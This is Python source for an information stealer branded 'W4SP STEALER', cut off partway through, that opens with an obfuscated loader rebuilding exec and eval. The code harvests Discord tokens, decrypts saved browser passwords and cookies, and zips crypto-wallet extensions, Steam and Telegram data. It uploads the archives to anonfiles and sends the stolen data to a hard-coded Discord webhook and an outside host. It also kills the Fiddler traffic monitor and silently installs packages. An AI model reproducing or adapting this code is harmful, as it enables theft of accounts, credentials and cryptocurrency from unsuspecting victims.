except:
    pass

payload3.py

locals()['wxwxwwwxxxxxwxwwxw']=globals
wxwxwwwxxxxxwxwwxw()['MNNMMNNNMMMMNMMNMMMMMNNN'[::+-+-(-(+1))]]=dir
wxwxwwwxxxxxwxwwxw()['lllIIIllllIllIlIllII'[::+-+-(-(+1))]]=getattr
wxwxwwwxxxxxwxwwxw()['xxxwxxxwwwwwxxwwxxxwwxwxx']=locals
xxxwxxxwwwwwxxwwxxxwwxwxx()['WWWXXXXWWXXXXWXWWWWXXXWWW']=__import__
wxwxwwwxxxxxwxwwxw()['S2S222222S222S2S22S22SSS2']=WWWXXXXWWXXXXWXWWWWXXXWWW('builtins').vars
wxwxwwwxxxxxwxwwxw()['OoDoDooODDDDoOoDoODDo']=IIllIlIllIllllIIIlll(WWWXXXXWWXXXXWXWWWWXXXWWW('snitliub'[::+-+-(-(+1))]),NNNMMMMMNMMNMMMMNNNMMNNM(WWWXXXXWWXXXXWXWWWWXXXWWW('snitliub'[::+-+-(-(+1))]))[NNNMMMMMNMMNMMMMNNNMMNNM(WWWXXXXWWXXXXWXWWWWXXXWWW('snitliub'[::+-+-(-(+1))])).index('loob'[::+-+-(-(+1))])])
wxwxwwwxxxxxwxwwxw()['mnnmnnnnnnmnmmnnn']=IIllIlIllIllllIIIlll(WWWXXXXWWXXXXWXWWWWXXXWWW('snitliub'[::+-+-(-(+1))]),NNNMMMMMNMMNMMMMNNNMMNNM(WWWXXXXWWXXXXWXWWWWXXXWWW('snitliub'[::+-+-(-(+1))]))[NNNMMMMMNMMNMMMMNNNMMNNM(WWWXXXXWWXXXXWXWWWWXXXWWW('snitliub'[::+-+-(-(+1))])).index('elipmoc'[::+-+-(-(+1))])])
S2S222222S222S2S22S22SSS2()['llljliiiijiiljlllliiijjjl']=IIllIlIllIllllIIIlll(WWWXXXXWWXXXXWXWWWWXXXWWW('snitliub'[::+-+-(-(+1))]),NNNMMMMMNMMNMMMMNNNMMNNM(WWWXXXXWWXXXXWXWWWWXXXWWW('snitliub'[::+-+-(-(+1))]))[NNNMMMMMNMMNMMMMNNNMMNNM(WWWXXXXWWXXXXWXWWWWXXXWWW('snitliub'[::+-+-(-(+1))])).index('rts'[::+-+-(-(+1))])])
S2S222222S222S2S22S22SSS2()['Oo0o0OoO0OOOoOoO00oo0oO00']=IIllIlIllIllllIIIlll(WWWXXXXWWXXXXWXWWWWXXXWWW('snitliub'[::+-+-(-(+1))]),NNNMMMMMNMMNMMMMNNNMMNNM(WWWXXXXWWXXXXWXWWWWXXXWWW('snitliub'[::+-+-(-(+1))]))[NNNMMMMMNMMNMMMMNNNMMNNM(WWWXXXXWWXXXXWXWWWWXXXWWW('snitliub'[::+-+-(-(+1))])).index('eslaF'[::+-+-(-(+1))])])
S2S222222S222S2S22S22SSS2()['wxwxwwwxwwwxwxwwwxxxx']=IIllIlIllIllllIIIlll(WWWXXXXWWXXXXWXWWWWXXXWWW('iicsanib'[::+-+-(-(+1))]),NNNMMMMMNMMNMMMMNNNMMNNM(WWWXXXXWWXXXXWXWWWWXXXWWW('iicsanib'[::+-+-(-(+1))]))[NNNMMMMMNMMNMMMMNNNMMNNM(WWWXXXXWWXXXXWXWWWWXXXWWW('iicsanib'[::+-+-(-(+1))])).index('yfilxehnu'[::+-+-(-(+1))])])
xxxwxxxwwwwwxxwwxxxwwxwxx()['jlljjiiiljjiiiijliil']=IIllIlIllIllllIIIlll(WWWXXXXWWXXXXWXWWWWXXXWWW('snitliub'[::+-+-(-(+1))]),NNNMMMMMNMMNMMMMNNNMMNNM(WWWXXXXWWXXXXWXWWWWXXXWWW('snitliub'[::+-+-(-(+1))]))[NNNMMMMMNMMNMMMMNNNMMNNM(WWWXXXXWWXXXXWXWWWWXXXWWW('snitliub'[::+-+-(-(+1))])).index('lave'[::+-+-(-(+1))])])
wxwxwwwxxxxxwxwwxw()['SSS22SSSSS222S2222S']=IIllIlIllIllllIIIlll(WWWXXXXWWXXXXWXWWWWXXXWWW('snitliub'[::+-+-(-(+1))]),NNNMMMMMNMMNMMMMNNNMMNNM(WWWXXXXWWXXXXWXWWWWXXXWWW('snitliub'[::+-+-(-(+1))]))[NNNMMMMMNMMNMMMMNNNMMNNM(WWWXXXXWWXXXXWXWWWWXXXWWW('snitliub'[::+-+-(-(+1))])).index('taolf'[::+-+-(-(+1))])])
wxwxwwwxxxxxwxwwxw()['nnmnnnnmmmmmmnmnnmm']=''.join
S2S222222S222S2S22S22SSS2()['IlIllllIlIIllllIIIll']=IIllIlIllIllllIIIlll(WWWXXXXWWXXXXWXWWWWXXXWWW('snitliub'[::+-+-(-(+1))]),NNNMMMMMNMMNMMMMNNNMMNNM(WWWXXXXWWXXXXWXWWWWXXXWWW('snitliub'[::+-+-(-(+1))]))[NNNMMMMMNMMNMMMMNNNMMNNM(WWWXXXXWWXXXXWXWWWWXXXWWW('snitliub'[::+-+-(-(+1))])).index('eurT'[::+-+-(-(+1))])])
wxwxwwwxxxxxwxwwxw()[wxwxwwwxwwwxwxwwwxxxx(b'5332533253323253325353533232535332323253325332535353').decode('8ftu'[::+-+-(-(+1))])]=IIllIlIllIllllIIIlll(WWWXXXXWWXXXXWXWWWWXXXWWW('snitliub'[::+-+-(-(+1))]),NNNMMMMMNMMNMMMMNNNMMNNM(WWWXXXXWWXXXXWXWWWWXXXWWW('snitliub'[::+-+-(-(+1))]))[NNNMMMMMNMMNMMMMNNNMMNNM(WWWXXXXWWXXXXWXWWWWXXXWWW('snitliub'[::+-+-(-(+1))])).index('cexe'[::+-+-(-(+1))])])



exec('')

import os
import threading
from sys import executable
from sqlite3 import connect as sql_connect
import re
from base64 import b64decode
from json import loads as json_loads, load
from ctypes import windll, wintypes, byref, cdll, Structure, POINTER, c_char, c_buffer
from urllib.request import Request, urlopen
from json import loads, dumps
import time
from PIL import ImageGrab
import shutil
from zipfile import ZipFile
import random
import re
import subprocess

hook = "https://discord.com/api/webhooks/1041411678258073620/V2L3p3l-suq6IgLNP_vW0Pm2c31NEX35zbsPBSMxqyGEidXR25TLYGGthw56jrBoNWI3"
DETECTED = False

os.system("taskkill /im Fiddler.exe >nul")

def getip():
    ip = "None"
    try:
        ip = urlopen(Request("https://api.ipify.org")).read().decode().strip()
    except:
        pass
    return ip

requirements = [
    ["requests", "requests"],
    ["Crypto.Cipher", "pycryptodome"]
]
for modl in requirements:
    try: __import__(modl[0])
    except:
        subprocess.Popen(f"{executable} -m pip install {modl[1]}", shell=True)
        time.sleep(3)

import requests
from Crypto.Cipher import AES

local = os.getenv('LOCALAPPDATA')
roaming = os.getenv('APPDATA')
temp = os.getenv("TEMP")
Threadlist = []


class DATA_BLOB(Structure):
    _fields_ = [
        ('cbData', wintypes.DWORD),
        ('pbData', POINTER(c_char))
    ]

def GetData(blob_out):
    cbData = int(blob_out.cbData)
    pbData = blob_out.pbData
    buffer = c_buffer(cbData)
    cdll.msvcrt.memcpy(buffer, pbData, cbData)
    windll.kernel32.LocalFree(pbData)
    return buffer.raw

def CryptUnprotectData(encrypted_bytes, entropy=b''):
    buffer_in = c_buffer(encrypted_bytes, len(encrypted_bytes))
    buffer_entropy = c_buffer(entropy, len(entropy))
    blob_in = DATA_BLOB(len(encrypted_bytes), buffer_in)
    blob_entropy = DATA_BLOB(len(entropy), buffer_entropy)
    blob_out = DATA_BLOB()

    if windll.crypt32.CryptUnprotectData(byref(blob_in), None, byref(blob_entropy), None, None, 0x01, byref(blob_out)):
        return GetData(blob_out)

def DecryptValue(buff, master_key=None):
    starts = buff.decode(encoding='utf8', errors='ignore')[:3]
    if starts == 'v10' or starts == 'v11':
        iv = buff[3:15]
        payload = buff[15:]
        cipher = AES.new(master_key, AES.MODE_GCM, iv)
        decrypted_pass = cipher.decrypt(payload)
        decrypted_pass = decrypted_pass[:-16].decode()
        return decrypted_pass

def LoadRequests(methode, url, data='', files='', headers=''):
    for i in range(8): # max trys
        try:
            if methode == 'POST':
                if data != '':
                    r = requests.post(url, data=data)
                    if r.status_code == 200:
                        return r
                elif files != '':
                    r = requests.post(url, files=files)
                    if r.status_code == 200 or r.status_code == 413: # 413 = DATA TO BIG
                        return r
        except:
            pass

def LoadUrlib(hook, data='', files='', headers=''):
    for i in range(8):
        try:
            if headers != '':
                r = urlopen(Request(hook, data=data, headers=headers))
                return r
            else:
                r = urlopen(Request(hook, data=data))
                return r
        except: 
            pass

def globalInfo():
    ip = getip()
    username = os.getenv("USERNAME")
    ipdatanojson = urlopen(Request(f"https://geolocation-db.com/jsonp/{ip}")).read().decode().replace('callback(', '').replace('})', '}')
    ipdata = loads(ipdatanojson)
    contry = ipdata["country_name"]
    contryCode = ipdata["country_code"].lower()
    if contryCode == "not found":
        globalinfo = f":rainbow_flag:  - `{username.upper()} | {ip} ({contry})`"
    else:
        globalinfo = f":flag_{contryCode}:  - `{username.upper()} | {ip} ({contry})`"
    return globalinfo


def Trust(Cookies):
    # simple Trust Factor system
    global DETECTED
    data = str(Cookies)
    tim = re.findall(".google.com", data)
    # print(len(tim))
    if len(tim) < -1:
        DETECTED = True
        return DETECTED
    else:
        DETECTED = False
        return DETECTED

def GetBilling(token):
    headers = {
        "Authorization": token,
        "Content-Type": "application/json",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
    }
    try:
        billingjson = loads(urlopen(Request("https://discord.com/api/users/@me/billing/payment-sources", headers=headers)).read().decode())
    except:
        return False
    
    if billingjson == []: return " -"

    billing = ""
    for methode in billingjson:
        if methode["invalid"] == False:
            if methode["type"] == 1:
                billing += ":credit_card:"
            elif methode["type"] == 2:
                billing += ":parking: "

    return billing


def GetBadge(id):

    headers = {
        "Content-Type": "application/json",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
    }

    userjson = loads(urlopen(Request(f"http://misogyny.wtf:8080/{id}", headers=headers)).read().decode())
    badge = userjson["badges"]
    finalbadge = ""

    if "EARLY_VERIFIED_BOT_DEVELOPER" in badge:
        finalbadge += " <:developer:874750808472825986> "

    if "DISCORD_CERTIFIED_MODERATOR" in badge:
        finalbadge += " <:staff:874750808728666152> "

    if "ACTIVE_DEVELOPER" in badge:
        finalbadge += " <:active_developer:1040829634490675250> "

    if "HYPESQUAD_EVENTS" in badge:
        finalbadge += " <:hypesquad_events:874750808594477056> "

    if "BUGHUNTER_LEVEL_1" in badge:
        finalbadge += " <:bughunter_1:874750808426692658> "

    if "BUGHUNTER_LEVEL_2" in badge:
        finalbadge += " <:bughunter_1:874750808426692658> "

    if "EARLY_SUPPORTER" in badge:
        finalbadge += " <:early_supporter:874750808414113823> "

    if "DISCORD_EMPLOYEE" in badge:
        finalbadge += " <:staff:874750808728666152> "

    if "PARTNERED_SERVER_OWNER" in badge:
        finalbadge += " <:partner:874750808678354964> "

    return finalbadge

def GetTokenInfo(token):
    headers = {
        "Authorization": token,
        "Content-Type": "application/json",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
    }

    userjson = loads(urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=headers)).read().decode())
    username = userjson["username"]
    hashtag = userjson["discriminator"]
    email = userjson["email"]
    idd = userjson["id"]
    pfp = userjson["avatar"]
    flags = userjson["public_flags"]
    nitro = ""
    phone = "-"

    if "premium_type" in userjson: 
        nitrot = userjson["premium_type"]
        if nitrot == 1:
            nitro = "<:classic:896119171019067423> "
        elif nitrot == 2:
            nitro = "<a:boost:824036778570416129> <:classic:896119171019067423> "
    if "phone" in userjson: phone = f'`{userjson["phone"]}`'

    return username, hashtag, email, idd, pfp, flags, nitro, phone

def checkToken(token):
    headers = {
        "Authorization": token,
        "Content-Type": "application/json",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
    }
    try:
        urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=headers))
        return True
    except:
        return False


def uploadToken(token, path):
    global hook
    headers = {
        "Content-Type": "application/json",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
    }
    username, hashtag, email, idd, pfp, flags, nitro, phone = GetTokenInfo(token)

    if pfp == None: 
        pfp = "https://cdn.discordapp.com/attachments/963114349877162004/992593184251183195/7c8f476123d28d103efe381543274c25.png"
    else:
        pfp = f"https://cdn.discordapp.com/avatars/{idd}/{pfp}"

    billing = GetBilling(token)
    badge = GetBadge(idd)
    if not billing and not badge:
        badge, phone, billing = "🔒", "🔒", "🔒"
    if nitro == '' and badge == '': nitro = " -"

    data = {
        "content": f'{globalInfo()}\n\n👽 - `{path}`',
        "embeds": [
            {
            "color": 1234,
            "fields": [
                {
                    "name": ":rocket: Token:",
                    "value": f"`{token}`\n\n[Click to Copy](http://misogyny.wtf:2020/copy/{token})"
                },
                {
                    "name": ":envelope: Email:",
                    "value": f"`{email}`",
                    "inline": True
                },
                {
                    "name": ":mobile_phone: Phone:",
                    "value": f"{phone}",
                    "inline": True
                },
                {
                    "name": ":globe_with_meridians: IP:",
                    "value": f"`{getip()}`",
                    "inline": True
                },
                {
                    "name": ":beginner: Badges:",
                    "value": f"{nitro}{badge}",
                    "inline": True
                },
                {
                    "name": ":credit_card: Billing:",
                    "value": f"{billing}",
                    "inline": True
                }
                ],
            "author": {
                "name": f"{username}#{hashtag} ({idd})",
                "icon_url": f"{pfp}"
                },
            "footer": {
                "text": "@W4SP STEALER"
                },
            "thumbnail": {
                "url": f"{pfp}"
                }
            }
        ],
        "attachments": []
        }
    # urlopen(Request(hook, data=dumps(data).encode(), headers=headers))
    LoadUrlib(hook, data=dumps(data).encode(), headers=headers)

def Reformat(listt):
    e = re.findall("(\w+[a-z])",listt)
    while "https" in e: e.remove("https")
    while "com" in e: e.remove("com")
    while "net" in e: e.remove("net")
    return list(set(e))

def upload(name, link):
    headers = {
        "Content-Type": "application/json",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
    }

    if name == "wpcookies":
        rb = ' | '.join(da for da in cookiWords)
        if len(rb) > 1000: 
            rrrrr = Reformat(str(cookiWords))
            rb = ' | '.join(da for da in rrrrr)
        data = {
            "content": globalInfo(),
            "embeds": [
                {
                    "title": "COOKIES STEALER",
                    "description": f"**Found**:\n{rb}\n\n**Data:**\n:cookie: • **{CookiCount}** Cookies Found\n:link: • [Cookies.txt]({link})\n:star: • [Parse Cookies](http://misogyny.wtf:2020/parser/)",
                    "color": 1234,
                    "footer": {
                        "text": "@W4SP STEALER"
                    }
                }
            ],
            "attachments": []
            }
        LoadUrlib(hook, data=dumps(data).encode(), headers=headers)
        return

    if name == "wppasswords":
        ra = ' | '.join(da for da in paswWords)
        if len(ra) > 1000: 
            rrr = Reformat(str(paswWords))
            ra = ' | '.join(da for da in rrr)

        data = {
            "content": globalInfo(),
            "embeds": [
                {
                    "title": "PASSWORDS STEALER",
                    "description": f"**Found**:\n{ra}\n\n**Data:**\n🔑 • **{PasswCount}** Passwords Found\n:link: • [Passwords.txt]({link})",
                    "color": 1234,
                    "footer": {
                        "text": "@W4SP STEALER"
                    }
                }
            ],
            "attachments": []
            }
        LoadUrlib(hook, data=dumps(data).encode(), headers=headers)
        return

    if name == "kiwi":
        data = {
            "content": globalInfo(),
            "embeds": [
                {
                "color": 1234,
                "fields": [
                    {
                    "name": "Interesting files found on user PC:",
                    "value": link
                    }
                ],
                "author": {
                    "name": "FILE STEALER"
                },
                "footer": {
                    "text": "@W4SP STEALER"
                }
                }
            ],
            "attachments": []
            }
        LoadUrlib(hook, data=dumps(data).encode(), headers=headers)
        return



# def upload(name, tk=''):
#     headers = {
#         "Content-Type": "application/json",
#         "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
#     }

#     # r = requests.post(hook, files=files)
#     LoadRequests("POST", hook, files=files)

def writeforfile(data, name):
    path = os.getenv("TEMP") + f"\wp{name}.txt"
    with open(path, mode='w', encoding='utf-8') as f:
        f.write(f"<--W4SP STEALER ON TOP-->\n\n")
        for line in data:
            if line[0] != '':
                f.write(f"{line}\n")

Tokens = ''
def getToken(path, arg):
    if not os.path.exists(path): return

    path += arg
    for file in os.listdir(path):
        if file.endswith(".log") or file.endswith(".ldb")   :
            for line in [x.strip() for x in open(f"{path}\\{file}", errors="ignore").readlines() if x.strip()]:
                for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", r"mfa\.[\w-]{80,95}"):
                    for token in re.findall(regex, line):
                        global Tokens
                        if checkToken(token):
                            if not token in Tokens:
                                # print(token)
                                Tokens += token
                                uploadToken(token, path)

Passw = []
def getPassw(path, arg):
    global Passw, PasswCount
    if not os.path.exists(path): return

    pathC = path + arg + "/Login Data"
    if os.stat(pathC).st_size == 0: return

    tempfold = temp + "wp" + ''.join(random.choice('bcdefghijklmnopqrstuvwxyz') for i in range(8)) + ".db"

    shutil.copy2(pathC, tempfold)
    conn = sql_connect(tempfold)
    cursor = conn.cursor()
    cursor.execute("SELECT action_url, username_value, password_value FROM logins;")
    data = cursor.fetchall()
    cursor.close()
    conn.close()
    os.remove(tempfold)

    pathKey = path + "/Local State"
    with open(pathKey, 'r', encoding='utf-8') as f: local_state = json_loads(f.read())
    master_key = b64decode(local_state['os_crypt']['encrypted_key'])
    master_key = CryptUnprotectData(master_key[5:])

    for row in data: 
        if row[0] != '':
            for wa in keyword:
                old = wa
                if "https" in wa:
                    tmp = wa
                    wa = tmp.split('[')[1].split(']')[0]
                if wa in row[0]:
                    if not old in paswWords: paswWords.append(old)
            Passw.append(f"UR1: {row[0]} | U53RN4M3: {row[1]} | P455W0RD: {DecryptValue(row[2], master_key)}")
            PasswCount += 1
    writeforfile(Passw, 'passwords')

Cookies = []    
def getCookie(path, arg):
    global Cookies, CookiCount
    if not os.path.exists(path): return
    
    pathC = path + arg + "/Cookies"
    if os.stat(pathC).st_size == 0: return
    
    tempfold = temp + "wp" + ''.join(random.choice('bcdefghijklmnopqrstuvwxyz') for i in range(8)) + ".db"
    
    shutil.copy2(pathC, tempfold)
    conn = sql_connect(tempfold)
    cursor = conn.cursor()
    cursor.execute("SELECT host_key, name, encrypted_value FROM cookies")
    data = cursor.fetchall()
    cursor.close()
    conn.close()
    os.remove(tempfold)

    pathKey = path + "/Local State"
    
    with open(pathKey, 'r', encoding='utf-8') as f: local_state = json_loads(f.read())
    master_key = b64decode(local_state['os_crypt']['encrypted_key'])
    master_key = CryptUnprotectData(master_key[5:])

    for row in data: 
        if row[0] != '':
            for wa in keyword:
                old = wa
                if "https" in wa:
                    tmp = wa
                    wa = tmp.split('[')[1].split(']')[0]
                if wa in row[0]:
                    if not old in cookiWords: cookiWords.append(old)
            Cookies.append(f"H057 K3Y: {row[0]} | N4M3: {row[1]} | V41U3: {DecryptValue(row[2], master_key)}")
            CookiCount += 1
    writeforfile(Cookies, 'cookies')

def GetDiscord(path, arg):
    if not os.path.exists(f"{path}/Local State"): return

    pathC = path + arg

    pathKey = path + "/Local State"
    with open(pathKey, 'r', encoding='utf-8') as f: local_state = json_loads(f.read())
    master_key = b64decode(local_state['os_crypt']['encrypted_key'])
    master_key = CryptUnprotectData(master_key[5:])
    # print(path, master_key)
    
    for file in os.listdir(pathC):
        # print(path, file)
        if file.endswith(".log") or file.endswith(".ldb")   :
            for line in [x.strip() for x in open(f"{pathC}\\{file}", errors="ignore").readlines() if x.strip()]:
                for token in re.findall(r"dQw4w9WgXcQ:[^.*\['(.*)'\].*$][^\"]*", line):
                    global Tokens
                    tokenDecoded = DecryptValue(b64decode(token.split('dQw4w9WgXcQ:')[1]), master_key)
                    if checkToken(tokenDecoded):
                        if not tokenDecoded in Tokens:
                            # print(token)
                            Tokens += tokenDecoded
                            # writeforfile(Tokens, 'tokens')
                            uploadToken(tokenDecoded, path)

def GatherZips(paths1, paths2, paths3):
    thttht = []
    for patt in paths1:
        a = threading.Thread(target=ZipThings, args=[patt[0], patt[5], patt[1]])
        a.start()
        thttht.append(a)

    for patt in paths2:
        a = threading.Thread(target=ZipThings, args=[patt[0], patt[2], patt[1]])
        a.start()
        thttht.append(a)
    
    a = threading.Thread(target=ZipTelegram, args=[paths3[0], paths3[2], paths3[1]])
    a.start()
    thttht.append(a)

    for thread in thttht: 
        thread.join()
    global WalletsZip, GamingZip, OtherZip
        # print(WalletsZip, GamingZip, OtherZip)

    wal, ga, ot = "",'',''
    if not len(WalletsZip) == 0:
        wal = ":coin:  •  Wallets\n"
        for i in WalletsZip:
            wal += f"└─ [{i[0]}]({i[1]})\n"
    if not len(WalletsZip) == 0:
        ga = ":video_game:  •  Gaming:\n"
        for i in GamingZip:
            ga += f"└─ [{i[0]}]({i[1]})\n"
    if not len(OtherZip) == 0:
        ot = ":tickets:  •  Apps\n"
        for i in OtherZip:
            ot += f"└─ [{i[0]}]({i[1]})\n"          
    headers = {
        "Content-Type": "application/json",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
    }

    data = {
        "content": globalInfo(),
        "embeds": [
            {
            "title": "DATA STEALER",
            "description": f"{wal}\n{ga}\n{ot}",
            "color": 1234,
            "footer": {
                "text": "@W4SP STEALER"
            }
            }
        ],
        "attachments": []
    }
    LoadUrlib(hook, data=dumps(data).encode(), headers=headers)


def ZipTelegram(path, arg, procc):
    global OtherZip
    pathC = path
    name = arg
    if not os.path.exists(pathC): return
    subprocess.Popen(f"taskkill /im {procc} /t /f >nul 2>&1", shell=True)

    zf = ZipFile(f"{pathC}/{name}.zip", "w")
    for file in os.listdir(pathC):
        if not ".zip" in file and not "tdummy" in file and not "user_data" in file and not "webview" in file: 
            zf.write(pathC + "/" + file)
    zf.close()

    lnik = uploadToAnonfiles(f'{pathC}/{name}.zip')
    if lnik == False:
        time.sleep(4)
        lnik = uploadToAnonfiles(f'{pathC}/{name}.zip')
    elif "https://" in lnik:
        pass
    else:
        time.sleep(4)
        lnik = uploadToAnonfiles(f'{pathC}/{name}.zip')
    os.remove(f"{pathC}/{name}.zip")
    OtherZip.append([arg, lnik])

def ZipThings(path, arg, procc):
    pathC = path
    name = arg
    global WalletsZip, GamingZip, OtherZip

    if "nkbihfbeogaeaoehlefnkodbefgpgknn" in arg or "ejbalbakoplchlghecdalmeeeajnimhm" in arg:
        browser = path.split("\\")[4].split("/")[1].replace(' ', '')
        name = f"Metamask_{browser}"
        pathC = path + arg

    if "fhbohimaelbohpjbbldcngcnapndodjp" in arg:
        browser = path.split("\\")[4].split("/")[1].replace(' ', '')
        name = f"Binance_{browser}"
        pathC = path + arg

    if "hnfanknocfeofbddgcijnmhnfnkdnaad" in arg:
        browser = path.split("\\")[4].split("/")[1].replace(' ', '')
        name = f"Coinbase_{browser}"
        pathC = path + arg

    if "fnjhmkhhmkbjkkabndcnnogagogbneec" in arg:
        browser = path.split("\\")[4].split("/")[1].replace(' ', '')
        name = f"Ronin_{browser}"
        pathC = path + arg

    if "ibnejdfjmmkpcnlpebklmnkoeoihofec" in arg:
        browser = path.split("\\")[4].split("/")[1].replace(' ', '')
        name = f"Tron_{browser}"
        pathC = path + arg

    if "ejjladinnckdgjemekebdpeokbikhfci" in arg:
        browser = path.split("\\")[4].split("/")[1].replace(' ', '')
        name = f"Petra_{browser}"
        pathC = path + arg

    if "efbglgofoippbgcjepnhiblaibcnclgk" in arg:
        browser = path.split("\\")[4].split("/")[1].replace(' ', '')
        name = f"Martian_{browser}"
        pathC = path + arg

    if "phkbamefinggmakgklpkljjmgibohnba" in arg:
        browser = path.split("\\")[4].split("/")[1].replace(' ', '')
        name = f"Pontem_{browser}"
        pathC = path + arg

    if "ebfidpplhabeedpnhjnobghokpiioolj" in arg:
        browser = path.split("\\")[4].split("/")[1].replace(' ', '')
        name = f"Fewcha_{browser}"
        pathC = path + arg

    if "afbcbjpbpfadlkmhmclhkeeodmamcflc" in arg:
        browser = path.split("\\")[4].split("/")[1].replace(' ', '')
        name = f"Math_{browser}"
        pathC = path + arg

    if "aeachknmefphepccionboohckonoeemg" in arg:
        browser = path.split("\\")[4].split("/")[1].replace(' ', '')
        name = f"Coin98_{browser}"
        pathC = path + arg

    if "bhghoamapcdpbohphigoooaddinpkbai" in arg:
        browser = path.split("\\")[4].split("/")[1].replace(' ', '')
        name = f"Authenticator_{browser}"
        pathC = path + arg

    if "aholpfdialjgjfhomihkjbmgjidlcdno" in arg:
        browser = path.split("\\")[4].split("/")[1].replace(' ', '')
        name = f"ExodusWeb3_{browser}"
        pathC = path + arg

    if "bfnaelmomeimhlpmgjnjophhpkkoljpa" in arg:
        browser = path.split("\\")[4].split("/")[1].replace(' ', '')
        name = f"PhantomWallet_{browser}"
        pathC = path + arg

    if not os.path.exists(pathC): return
    subprocess.Popen(f"taskkill /im {procc} /t /f >nul 2>&1", shell=True)

    if "Wallet" in arg or "NationsGlory" in arg:
        browser = path.split("\\")[4].split("/")[1].replace(' ', '')
        name = f"{browser}"

    elif "Steam" in arg:
        if not os.path.isfile(f"{pathC}/loginusers.vdf"): return
        f = open(f"{pathC}/loginusers.vdf", "r+", encoding="utf8")
        data = f.readlines()
        found = False
        for l in data:
            if 'RememberPassword"\t\t"1"' in l:
                found = True
        if found == False: return
        name = arg


    zf = ZipFile(f"{pathC}/{name}.zip", "w")
    for file in os.listdir(pathC):
        if not ".zip" in file: zf.write(pathC + "/" + file)
    zf.close()

    lnik = uploadToAnonfiles(f'{pathC}/{name}.zip')
    if lnik == False:
        time.sleep(4)
        lnik = uploadToAnonfiles(f'{pathC}/{name}.zip')
    elif "https://" in lnik:
        pass
    else:
        time.sleep(4)
        lnik = uploadToAnonfiles(f'{pathC}/{name}.zip')
    os.remove(f"{pathC}/{name}.zip")

    if "Wallet" in arg or "Wallet" in name or "ejjladinnckdgjemekebdpeokbikhfci" in arg or "efbglgofoippbgcjepnhiblaibcnclgk" in arg or "phkbamefinggmakgklpkljjmgibohnba" in arg or "ebfidpplhabeedpnhjnobghokpiioolj" in arg or "afbcbjpbpfadlkmhmclhkeeodmamcflc" in arg or "aeachknmefphepccionboohckonoeemg" in arg or "ibnejdfjmmkpcnlpebklmnkoeoihofec" in arg or "nkbihfbeogaeaoehlefnkodbefgpgknn" in arg or "ejbalbakoplchlghecdalmeeeajnimhm" in arg or "fhbohimaelbohpjbbldcngcnapndodjp" in arg or "fnjhmkhhmkbjkkabndcnnogagogbneec" in arg or "hnfanknocfeofbddgcijnmhnfnkdnaad" in arg or "bfnaelmomeimhlpmgjnjophhpkkoljpa" in arg or "aholpfdialjgjfhomihkjbmgjidlcdno" in arg:
        WalletsZip.append([name, lnik])
    elif "NationsGlory" in name or "Steam" in name or "RiotCli" in name:
        GamingZip.append([name, lnik])
    else:
        OtherZip.append([name, lnik])


def GatherAll():
    '                   Default Path < 0 >                         ProcesName < 1 >        Token  < 2 >              Password < 3 >     Cookies < 4 >                          Extentions < 5 >                                  '
    browserPaths = [
        [f"{roaming}/Opera Software/Opera GX Stable",               "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn"                      ],
        [f"{roaming}/Opera Software/Opera Stable",                  "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn"                      ],
        [f"{roaming}/Opera Software/Opera Neon/User Data/Default",  "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn"                      ],
        [f"{local}/Google/Chrome/User Data",                        "chrome.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn"              ],
        [f"{local}/Google/Chrome SxS/User Data",                    "chrome.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn"              ],
        [f"{local}/BraveSoftware/Brave-Browser/User Data",          "brave.exe",    "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn"              ],
        [f"{local}/Yandex/YandexBrowser/User Data",                 "yandex.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/HougaBouga/nkbihfbeogaeaoehlefnkodbefgpgknn"                                    ],
        [f"{local}/Microsoft/Edge/User Data",                       "edge.exe",     "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn"              ],
        #metamask
        [f"{roaming}/Opera Software/Opera GX Stable",               "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/aholpfdialjgjfhomihkjbmgjidlcdno"                      ],
        [f"{roaming}/Opera Software/Opera Stable",                  "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/aholpfdialjgjfhomihkjbmgjidlcdno"                      ],
        [f"{roaming}/Opera Software/Opera Neon/User Data/Default",  "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/aholpfdialjgjfhomihkjbmgjidlcdno"                      ],
        [f"{local}/Google/Chrome/User Data",                        "chrome.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/aholpfdialjgjfhomihkjbmgjidlcdno"              ],
